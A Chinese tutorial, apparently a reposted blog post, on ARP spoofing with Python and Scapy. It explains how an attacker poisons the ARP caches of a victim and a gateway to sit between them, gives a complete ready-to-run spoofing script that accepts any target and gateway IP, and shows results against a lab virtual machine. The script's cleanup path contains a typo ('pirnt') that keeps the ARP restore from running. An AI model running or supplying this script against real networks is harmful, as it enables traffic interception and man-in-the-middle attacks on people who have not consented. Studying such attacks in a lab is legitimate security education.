python+scapy实现ARP欺骗

  • 时间:
  • 来源:互联网
  • 文章标签:

python+scapy实现ARP欺骗

    • 需要下载的库
    • ARP欺骗原理
    • 源代码:
    • 运行结果

需要下载的库

可以直接通过pip下载

pip install scapy

ARP欺骗原理

设网关的IP为10.10.10.1,MAC为11:22:33:44:55:AA;
攻击主机的IP为10.10.10.3,MAC为11:22:33:44:55:CC;
受害主机的IP为10.10.10.2,MAC为11:22:33:44:55:BB;
在这里插入图片描述
1、攻击主机向网关和目标主机发送ARP欺骗报文,告诉目标主机pc2我是网关,但包中的mac地址为攻击主机pc1的mac地址;告诉网关我是目标主机pc2,但包中的mac地址为攻击主机pc1的mac地址。
在这里插入图片描述
2、3即目标主机和网关之间的联系,其实都是向攻击主机发送,由攻击主机先接收,再由攻击主机发送原本应该接收的主机。
在这里插入图片描述

源代码:

其中getmac函数对于返回包中源mac地址获取,可以参考python3编写arp扫描器[玩具]中有对srp返回包的结构分析(很详细!)

from scapy.all import *

def getmac(target_ip):
	arp_p=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1,pdst=target_ip)
	ans=srp(arp_p,timeout=2,verbose=False)
	return ans[0].res[0][1][1].fields['hwsrc']#返回mac地址

def spoofarpcache(target_ip,target_mac,source_ip):
	spoofed=ARP(op=2,pdst=target_ip,psrc=source_ip,hwdst=target_mac)
	send(spoofed,verbose=False)

def restorearp(target_ip,target_mac,source_ip,source_mac):
	packet=ARP(op=2,hwsrc=source_mac,psrc=source_ip,hwdst=target_mac,pdst=target_ip)
	send(packet,verbose=False)
	print("ARP Table restored to normal for",target_ip)

def main():
	target_ip=input("Enter Target IP:")
	gateway_ip=input("Enter Gateway IP:")
	try:
		target_mac=getmac(target_ip)
		print("Target MAC:",target_mac)
	except:
		print("Target machine did not respond ARP broadcast.")
		quit()

	try:
		gateway_mac=getmac(gateway_ip)
		print("Gateway MAC:",gateway_mac)
	except:
		print("Gateway is unreachable.")
		quit()
	
	try:
		print("Sending spoofed ARP responses.")
		while True:
			spoofarpcache(target_ip,target_mac,gateway_ip)
			spoofarpcache(gateway_ip,gateway_mac,target_ip)
	except:
		pirnt("ARP spoofing stopped.")
		restorearp(gateway_ip,gateway_mac,target_ip,target_mac)
		restorearp(target_ip,target_mac,gateway_ip,gateway_mac)
		quit()
if __name__=="__main__":
	main()

运行结果

攻击主机为我的kali主机,目标主机为metasploitable-win2k8虚拟靶机,py是在kali上运行的。
运行结果(kali ip为192.168.44.129,mac为00:0C:29:F6:66:EA;虚拟靶机ip为192.168.44.134 ,mac为00:0C:29:8E:C0:8D;网关ip为192.168.44.2,mac为00:50:56:EE:9D:38):
运行py截图:
在这里插入图片描述
原靶机上arp-a,网关的mac地址:
在这里插入图片描述
ARP欺骗后(运行后),网关的mac地址变为kali的mac地址:
在这里插入图片描述

本文链接http://www.taodudu.cc/news/show-1782096.html